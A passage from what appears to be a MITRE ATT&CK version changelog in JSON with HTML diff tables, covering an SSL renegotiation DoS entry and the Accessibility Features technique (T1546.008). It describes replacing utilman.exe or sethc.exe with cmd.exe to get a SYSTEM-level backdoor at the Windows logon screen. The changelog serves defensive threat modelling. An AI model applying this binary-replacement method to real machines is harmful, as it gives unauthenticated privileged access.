nowrap=\"nowrap\">e&nbsp;includes&nbsp;mechanisms&nbsp;for&nbsp;the&nbsp;client&nbsp;and&nbsp;server&nbsp;to&nbsp;agree&nbsp;on&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ite&nbsp;includes&nbsp;mechanisms&nbsp;for&nbsp;the&nbsp;client&nbsp;and&nbsp;server&nbsp;to&nbsp;agree&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;encryption&nbsp;algorithm&nbsp;to&nbsp;use&nbsp;for&nbsp;subsequent&nbsp;secure&nbsp;connect</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;an&nbsp;encryption&nbsp;algorithm&nbsp;to&nbsp;use&nbsp;for&nbsp;subsequent&nbsp;secure&nbsp;conne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions.&nbsp;If&nbsp;SSL&nbsp;renegotiation&nbsp;is&nbsp;enabled,&nbsp;a&nbsp;request&nbsp;can&nbsp;be&nbsp;made</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctions.&nbsp;If&nbsp;SSL&nbsp;renegotiation&nbsp;is&nbsp;enabled,&nbsp;a&nbsp;request&nbsp;can&nbsp;be&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;renegotiation&nbsp;of&nbsp;the&nbsp;crypto&nbsp;algorithm.&nbsp;In&nbsp;a&nbsp;renegotiati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;for&nbsp;renegotiation&nbsp;of&nbsp;the&nbsp;crypto&nbsp;algorithm.&nbsp;In&nbsp;a&nbsp;renegotia</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;attack,&nbsp;the&nbsp;adversary&nbsp;establishes&nbsp;a&nbsp;SSL/TLS&nbsp;connection&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;attack,&nbsp;the&nbsp;adversary&nbsp;establishes&nbsp;a<span class=\"diff_add\">n</span>&nbsp;SSL/TLS&nbsp;connection</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;then&nbsp;proceeds&nbsp;to&nbsp;make&nbsp;a&nbsp;series&nbsp;of&nbsp;renegotiation&nbsp;requests.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;then&nbsp;proceeds&nbsp;to&nbsp;make&nbsp;a&nbsp;series&nbsp;of&nbsp;renegotiation&nbsp;request</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Because&nbsp;the&nbsp;cryptographic&nbsp;renegotiation&nbsp;has&nbsp;a&nbsp;meaningful&nbsp;cos</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;Because&nbsp;the&nbsp;cryptographic&nbsp;renegotiation&nbsp;has&nbsp;a&nbsp;meaningful&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;in&nbsp;computation&nbsp;cycles,&nbsp;this&nbsp;can&nbsp;cause&nbsp;an&nbsp;impact&nbsp;to&nbsp;the&nbsp;ava</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cost&nbsp;in&nbsp;computation&nbsp;cycles,&nbsp;this&nbsp;can&nbsp;cause&nbsp;an&nbsp;impact&nbsp;to&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilability&nbsp;of&nbsp;the&nbsp;service&nbsp;when&nbsp;done&nbsp;in&nbsp;volume.(Citation:&nbsp;Arbo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">availability&nbsp;of&nbsp;the&nbsp;service&nbsp;when&nbsp;done&nbsp;in&nbsp;volume.(Citation:&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;SSLDoS&nbsp;April&nbsp;2012)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rbor&nbsp;SSLDoS&nbsp;April&nbsp;2012)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1037: Filter Network Traffic"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0173: Detection Strategy for Endpoint DoS via Service Exhaustion Flood"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-24 14:32:40.315000+00:00",
                    "modified": "2026-11-04 00:50:50.882000+00:00",
                    "name": "Accessibility Features",
                    "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1546/008",
                            "external_id": "T1546.008"
                        },
                        {
                            "source_name": "Narrator Accessibility Abuse",
                            "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
                            "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
                        },
                        {
                            "source_name": "FireEye Hikit Rootkit",
                            "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                        },
                        {
                            "source_name": "DEFCON2016 Sticky Keys",
                            "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                            "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                        },
                        {
                            "source_name": "Tilbury 2014",
                            "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Paul Speulstra, AECOM Global Security Operations Center"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:50:50.882000+00:00\", \"old_value\": \"2025-10-24 17:48:56.964000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\\n\\nTwo common accessibility programs are <code>C:\\\\Windows\\\\System32\\\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)\\n\\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n\\nFor simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)\\n\\nOther accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n\\n* On-Screen Keyboard: <code>C:\\\\Windows\\\\System32\\\\osk.exe</code>\\n* Magnifier: <code>C:\\\\Windows\\\\System32\\\\Magnify.exe</code>\\n* Narrator: <code>C:\\\\Windows\\\\System32\\\\Narrator.exe</code>\\n* Display Switcher: <code>C:\\\\Windows\\\\System32\\\\DisplaySwitch.exe</code>\\n* App Switcher: <code>C:\\\\Windows\\\\System32\\\\AtBroker.exe</code>\", \"old_value\": \"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\\n\\nTwo common accessibility programs are <code>C:\\\\Windows\\\\System32\\\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\\n\\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n\\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\\n\\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n\\n* On-Screen Keyboard: <code>C:\\\\Windows\\\\System32\\\\osk.exe</code>\\n* Magnifier: <code>C:\\\\Windows\\\\System32\\\\Magnify.exe</code>\\n* Narrator: <code>C:\\\\Windows\\\\System32\\\\Narrator.exe</code>\\n* Display Switcher: <code>C:\\\\Windows\\\\System32\\\\DisplaySwitch.exe</code>\\n* App Switcher: <code>C:\\\\Windows\\\\System32\\\\AtBroker.exe</code>\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\\n \\n-Two common accessibility programs are <code>C:\\\\Windows\\\\System32\\\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\\n+Two common accessibility programs are <code>C:\\\\Windows\\\\System32\\\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \\\"sticky keys\\\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.(Citation: FireEye Hikit Rootkit)\\n \\n-Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n+Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).(Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\\n \\n-For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\\n+For simple binary replacement on Windows XP and later as well as Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\\\Windows\\\\System32\\\\utilman.exe</code>) may be replaced with \\\"cmd.exe\\\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges.(Citation: Tilbury 2014)\\n \\n-Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n+Other accessibility features exist that may also be leveraged in a similar fashion:(Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\\n \\n * On-Screen Keyboard: <code>C:\\\\Windows\\\\System32\\\\osk.exe</code>\\n * Magnifier: <code>C:\\\\Windows\\\\System32\\\\Magnify.exe</code>\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to155__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to155__0\"><a href=\"#difflib_chg_to155__top\">t</a></td><td class=\"diff_header\" id=\"from155_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td><td class=\"diff_next\"><a href=\"#difflib_chg_to155__top\">t</a></td><td class=\"diff_header\" id=\"to155_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;establish&nbsp;persistence&nbsp;and/or&nbsp;elevate&nbsp;privile</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;accessibilit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ges&nbsp;by&nbsp;executing&nbsp;malicious&nbsp;content&nbsp;triggered&nbsp;by&nbsp;accessibilit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;features.&nbsp;Windows&nbsp;contains&nbsp;accessibility&nbsp;features&nbsp;that&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;features.&nbsp;Windows&nbsp;contains&nbsp;accessibility&nbsp;features&nbsp;that&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;launched&nbsp;with&nbsp;a&nbsp;key&nbsp;combination&nbsp;before&nbsp;a&nbsp;user&nbsp;has&nbsp;logged</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;be&nbsp;launched&nbsp;with&nbsp;a&nbsp;key&nbsp;combination&nbsp;before&nbsp;a&nbsp;user&nbsp;has&nbsp;logged</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;(ex:&nbsp;when&nbsp;the&nbsp;user&nbsp;is&nbsp;on&nbsp;the&nbsp;Windows&nbsp;logon&nbsp;screen).&nbsp;An&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;(ex:&nbsp;when&nbsp;the&nbsp;user&nbsp;is&nbsp;on&nbsp;the&nbsp;Windows&nbsp;logon&nbsp;screen).&nbsp;An&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;can&nbsp;modify&nbsp;the&nbsp;way&nbsp;these&nbsp;programs&nbsp;are&nbsp;launched&nbsp;to&nbsp;g</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;can&nbsp;modify&nbsp;the&nbsp;way&nbsp;these&nbsp;programs&nbsp;are&nbsp;launched&nbsp;to&nbsp;g</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;a&nbsp;command&nbsp;prompt&nbsp;or&nbsp;backdoor&nbsp;without&nbsp;logging&nbsp;in&nbsp;to&nbsp;the&nbsp;sy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">et&nbsp;a&nbsp;command&nbsp;prompt&nbsp;or&nbsp;backdoor&nbsp;without&nbsp;logging&nbsp;in&nbsp;to&nbsp;the&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem.&nbsp;&nbsp;Two&nbsp;common&nbsp;accessibility&nbsp;programs&nbsp;are&nbsp;&lt;code&gt;C:\\Window</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem.&nbsp;&nbsp;Two&nbsp;common&nbsp;accessibility&nbsp;programs&nbsp;are&nbsp;&lt;code&gt;C:\\Window</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\System32\\sethc.exe&lt;/code&gt;,&nbsp;launched&nbsp;when&nbsp;the&nbsp;shift&nbsp;key&nbsp;is&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\System32\\sethc.exe&lt;/code&gt;,&nbsp;launched&nbsp;when&nbsp;the&nbsp;shift&nbsp;key&nbsp;is&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pressed&nbsp;five&nbsp;times&nbsp;and&nbsp;&lt;code&gt;C:\\Windows\\System32\\utilman.exe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pressed&nbsp;five&nbsp;times&nbsp;and&nbsp;&lt;code&gt;C:\\Windows\\System32\\utilman.exe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;,&nbsp;launched&nbsp;when&nbsp;the&nbsp;Windows&nbsp;+&nbsp;U&nbsp;key&nbsp;combination&nbsp;is&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;,&nbsp;launched&nbsp;when&nbsp;the&nbsp;Windows&nbsp;+&nbsp;U&nbsp;key&nbsp;combination&nbsp;is&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essed.&nbsp;The&nbsp;sethc.exe&nbsp;program&nbsp;is&nbsp;often&nbsp;referred&nbsp;to&nbsp;as&nbsp;\"sticky</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">essed.&nbsp;The&nbsp;sethc.exe&nbsp;program&nbsp;is&nbsp;often&nbsp;referred&nbsp;to&nbsp;as&nbsp;\"sticky</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;keys\",&nbsp;and&nbsp;has&nbsp;been&nbsp;used&nbsp;by&nbsp;adversaries&nbsp;for&nbsp;unauthenticated</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;keys\",&nbsp;and&nbsp;has&nbsp;been&nbsp;used&nbsp;by&nbsp;adversaries&nbsp;for&nbsp;unauthenticated</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;through&nbsp;a&nbsp;remote&nbsp;desktop&nbsp;login&nbsp;screen.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Fi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;through&nbsp;a&nbsp;remote&nbsp;desktop&nbsp;login&nbsp;screen.(Citation:&nbsp;Fir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reEye&nbsp;Hikit&nbsp;Rootkit)&nbsp;&nbsp;Depending&nbsp;on&nbsp;the&nbsp;version&nbsp;of&nbsp;Windows,&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eEye&nbsp;Hikit&nbsp;Rootkit)&nbsp;&nbsp;Depending&nbsp;on&nbsp;the&nbsp;version&nbsp;of&nbsp;Windows,&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;these&nbsp;features&nbsp;in&nbsp;differen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;these&nbsp;features&nbsp;in&nbsp;different</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;ways.&nbsp;Common&nbsp;methods&nbsp;used&nbsp;by&nbsp;adversaries&nbsp;include&nbsp;replacing</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;ways.&nbsp;Common&nbsp;methods&nbsp;used&nbsp;by&nbsp;adversaries&nbsp;include&nbsp;replacing&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;accessibility&nbsp;feature&nbsp;binaries&nbsp;or&nbsp;pointers/references&nbsp;to&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">accessibility&nbsp;feature&nbsp;binaries&nbsp;or&nbsp;pointers/references&nbsp;to&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ese&nbsp;binaries&nbsp;in&nbsp;the&nbsp;Registry.&nbsp;In&nbsp;newer&nbsp;versions&nbsp;of&nbsp;Windows,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;binaries&nbsp;in&nbsp;the&nbsp;Registry.&nbsp;In&nbsp;newer&nbsp;versions&nbsp;of&nbsp;Windows,&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;replaced&nbsp;binary&nbsp;needs&nbsp;to&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;for&nbsp;x64&nbsp;sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;replaced&nbsp;binary&nbsp;needs&nbsp;to&nbsp;be&nbsp;digitally&nbsp;signed&nbsp;for&nbsp;x64&nbsp;syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tems,&nbsp;the&nbsp;binary&nbsp;must&nbsp;reside&nbsp;in&nbsp;&lt;code&gt;%systemdir%\\&lt;/code&gt;,&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ems,&nbsp;the&nbsp;binary&nbsp;must&nbsp;reside&nbsp;in&nbsp;&lt;code&gt;%systemdir%\\&lt;/code&gt;,&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;it&nbsp;must&nbsp;be&nbsp;protected&nbsp;by&nbsp;Windows&nbsp;File&nbsp;or&nbsp;Resource&nbsp;Protecti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;it&nbsp;must&nbsp;be&nbsp;protected&nbsp;by&nbsp;Windows&nbsp;File&nbsp;or&nbsp;Resource&nbsp;Protectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;(WFP/WRP).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;DEFCON2016&nbsp;Sticky&nbsp;Keys)&nbsp;The&nbsp;[Image&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 